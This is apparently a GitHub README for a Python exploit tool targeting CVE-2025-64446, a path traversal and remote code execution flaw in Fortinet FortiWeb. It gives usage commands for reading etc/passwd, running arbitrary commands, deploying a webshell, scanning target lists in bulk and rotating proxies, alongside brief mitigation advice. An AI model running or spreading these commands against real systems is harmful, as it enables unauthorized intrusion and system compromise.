CVE-2025-64446 Fortinet FortiWeb Path Traversal RCE Exploit

A security research tool for detecting and testing the CVE-2025-64446 vulnerability in Fortinet FortiWeb Web Application Firewall (WAF). This critical zero-day path traversal vulnerability has been actively exploited in the wild and allows unauthenticated attackers to bypass security controls and execute arbitrary code.

⚠️ Disclaimer

This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Only use this tool on systems you own or have explicit written permission to test.

📋 Overview

CVE-2025-64446 is a critical zero-day path traversal vulnerability in Fortinet FortiWeb WAF that has been actively exploited in the wild. This vulnerability allows unauthenticated attackers to bypass security controls through path traversal attacks, potentially leading to remote code execution, configuration file access, and complete system compromise.

CVSS Score: 9.8 (Critical)
Status: Actively Exploited in the Wild
CISA KEV: Added to Known Exploited Vulnerabilities catalog
Patch: FG-IR-25-910
Affected Product: Fortinet FortiWeb WAF

🔍 Features

• Automated FortiWeb Detection: Identifies FortiWeb WAF deployments
• Path Traversal Testing: Tests multiple path traversal payload variations
• Vulnerability Confirmation: Verifies CVE-2025-64446 vulnerability
• Configuration File Access: Attempts to read FortiWeb configuration files
• Webshell Deployment: Demonstrates webshell upload capability
• Command Execution: Executes arbitrary commands (for authorized testing)
• Multi-threading Support: Scan multiple targets in parallel
• Proxy Support: Bypass additional security restrictions
• JSON Export: Detailed results in JSON format
• POC Script Included: Simple proof-of-concept demonstration

📦 Installation

Prerequisites

• Python 3.6 or higher
• pip (Python package manager)

Quick Install

# Clone the repository
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit

# Install dependencies
pip install -r requirements.txt

# Make scripts executable (optional)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py

Alternative: Direct Download

# Download the scripts
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py

# Install dependencies
pip install requests

🚀 Usage

Basic Usage

# Single target
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com

# Execute custom command
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"

# Multiple targets from file
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json

# With threading for faster scanning
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5

# Verbose output for debugging
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v

Using Proxies

# Single proxy
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port

# Multiple proxies from file
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt

POC Script

# Basic POC test
python3 cve_2025_64446_poc.py -u http://target.com

# Test specific file
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd

# Verbose output
python3 cve_2025_64446_poc.py -u http://target.com -v

Command Line Options

-u, --url          Target URL
-f, --file         File containing target URLs (one per line)
-c, --command      Command to execute (default: id)
-t, --threads      Number of threads (default: 1)
-o, --output       Output file (default: uknf_fortiweb_results.json)
-v, --verbose      Enable verbose logging
--proxy            Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list       File containing proxy URLs (one per line)

📊 Output

The script generates a JSON file with detailed results:

{
  "target": "http://target.com",
  "timestamp": "2025-11-21T00:25:40.123456",
  "fortiweb_detected": true,
  "vulnerable": true,
  "path_traversal_successful": true,
  "config_file_read": true,
  "webshell_uploaded": true,
  "command_executed": "id",
  "output": "uid=1000(user) gid=1000(user)...",
  "vulnerable_payload": "../../../../etc/passwd"
}

🔬 How It Works

1. Detection Phase: Scans for FortiWeb WAF indicators (headers, content, error pages)
2. Vulnerability Testing: Tests multiple path traversal payload variations
3. Path Traversal Confirmation: Verifies successful file access
4. Configuration Access: Attempts to read FortiWeb configuration files
5. Exploitation: If vulnerable, demonstrates RCE capability through webshell deployment

🛡️ Mitigation

If you're using FortiWeb WAF:

1. Apply Security Updates Immediately:

   root@kitploit:~

   # Check current version
   show system status
   
   # Update to latest version
   execute upgrade <firmware-file>
   

   • Reference: FG-IR-25-910

2. Network Segmentation:

   • Restrict access to FortiWeb management interface
   • Implement network ACLs
   • Use VPN for administrative access

3. Configuration Hardening:

   • Disable unnecessary features
   • Implement strict access controls
   • Enable comprehensive logging and monitoring

4. CISA Requirements:

   • Federal agencies must patch within 7 days
   • Monitor CISA KEV catalog for updates

📚 References

• CVE: CVE-2025-64446
• Fortinet PSIRT: FG-IR-25-910
• CISA KEV Catalog: CVE-2025-64446
• Tenable Blog: CVE-2025-64446 Analysis

📖 Examples

Example 1: Single Target Scan

python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com

Example 2: Multiple Targets with Output

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Run scan
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json

Example 3: Custom Command Execution

python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"

Example 4: Using Proxies

# Single proxy
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080

# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt

Example 5: POC Testing

# Basic POC
python3 cve_2025_64446_poc.py -u https://example.com

# Test specific file
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

1. Fork the repository
2. Create your feature branch (git checkout -b feature/AmazingFeature)
3. Commit your changes (git commit -m 'Add some AmazingFeature')
4. Push to the branch (git push origin feature/AmazingFeature)
5. Open a Pull Request

🐛 Issues

If you encounter any issues or have suggestions, please open an issue on GitHub.

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

⭐ Star History

If you find this tool useful, please consider giving it a star on GitHub!

⚖️ Legal

This tool is provided for educational and authorized security testing purposes only. The authors are not responsible for any misuse or damage caused by this program. Users are responsible for ensuring they have proper authorization before testing any systems.

🙏 Acknowledgments

• Original vulnerability reporter and security researchers
• Fortinet PSIRT for vulnerability disclosure
• CISA for maintaining the KEV catalog
• Security community for ongoing research

💰 Donations

If you find this tool useful and would like to support the project:

Bitcoin (BTC):

bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv

Ethereum (ETH):

0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7

Thank you for your support! 🙏